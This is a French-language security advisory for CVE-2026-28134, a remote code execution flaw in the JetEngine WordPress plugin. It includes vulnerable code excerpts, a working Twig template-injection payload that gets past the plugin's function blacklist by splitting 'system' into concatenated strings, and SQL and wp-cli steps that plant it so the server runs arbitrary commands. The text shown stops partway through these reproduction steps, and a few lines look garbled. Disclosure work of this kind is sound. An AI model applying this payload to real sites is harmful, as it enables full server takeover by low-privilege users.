
JetEngine <= 3.7.2 - Exécution de code à distance authentifiée (Contributor+)
Date : 11 mars 2026 Score CVSS : 8.8 (Élevé) Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin concerné : JetEngine <= 3.7.2 Slug du plugin : jet-engine CVE : CVE-2026-28134 Statut : Privé Version WordPress testée : Dernière
CVE-2026-28134 est une vulnérabilité d'exécution de code à distance dans le plugin WordPress JetEngine affectant toutes les versions jusqu'à la 3.7.2 incluse. Cette vulnérabilité permet à des attaquants authentifiés disposant d'un accès de niveau Contributeur ou supérieur d'exécuter des commandes système arbitraires sur le serveur en injectant un modèle Twig malveillant dans un post JetEngine de type Listing.
La chaîne d'attaque combine trois faiblesses :
~ de Twig pour diviser les noms de fonctions bloqués entre plusieurs jetons.✅ VULNÉRABILITÉ CONFIRMÉE — RCE complète obtenue
Impact confirmé :
www-data/etc/passwd, wp-config.php)JetEngine fournit un type de vue Listing basé sur Twig/Timber. Lorsque le composant timber_views est activé, les posts Listing avec _listing_type = twig voient leur méta de post _jet_engine_listing_html rendue comme un modèle Twig dynamique via Timber. Le pipeline de rendu est accessible via l'action AJAX non authentifiée wp_ajax_nopriv_jet_engine_ajax, et exige seulement que l'attaquant puisse créer ou modifier un post JetEngine de type Listing (rôle Contributeur minimum).
| Fichier | Problème |
|---|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax enregistrée — aucune authentification ni nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — répartition arbitraire de méthodes publiques |
includes/components/timber-views/timber.php:150 | render_html() rend un modèle Twig contrôlé par l'attaquant sans sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — liste noire regex de chaînes, contournée par découpage de jetons |
timber-library/lib/Twig.php:42-43 | Timber enregistre fn()/function() comme wrappers Twig pour call_user_func_array |
ajax-handlers.php enregistre l'action AJAX pour les utilisateurs authentifiés et non authentifiés :
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
Le gestionnaire répartit vers toute méthode publique de la classe en fonction de $_REQUEST['handler'], sans vérification de nonce ni de capacité :
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
L'appel à listing_load_more est accessible publiquement et déclenche le pipeline de rendu Listing.
La chaîne d'appels listing_load_more → get_listing → frontend->get_listing_item atteint :
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Lorsque $listing_view = 'twig', cela déclenche Jet_Engine\Timber_Views\Render::get_listing_content(), qui lit le modèle Twig depuis le champ méta _jet_engine_listing_html du post et le transmet directement à render_html() :
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig effectue le rendu sans sandbox. La seule protection est sanitize_twig_content().
sanitize_twig_content() supprime les noms de fonctions PHP dangereux à l'aide de motifs regex de limites de mots, puis vérifie si le modèle a été modifié :
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
Le motif \bsystem\b correspond au jeton littéral system. Il ne correspond pas à "sys" ~ "tem" car ce sont deux jetons de chaîne quotés distincts. Twig évalue la concaténation au moment du rendu, produisant "system" uniquement en mémoire — le modèle source ne contient jamais le mot bloqué.
Payload de contournement :
{{ fn("sys" ~ "tem", "id") }}
Le filtre voit fn, "sys", ~, "tem", "id" — aucun de ces éléments n'est dans la liste noire. Il passe inchangé.
fn() de TimberTimber enregistre des wrappers PHP appelables directement dans l'environnement Twig :
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} se résout en call_user_func_array("system", ["id"]) — exécution de commandes système arbitraires.
timber_views de JetEngine est activé (Réglages JetEngine > Performance > Vues Timber/Twig).Créez un post JetEngine de type Listing avec le modèle Twig malveillant stocké dans la méta de post :
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Ou via wp-cli (en tant qu'utilisateur Contributeur) :
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'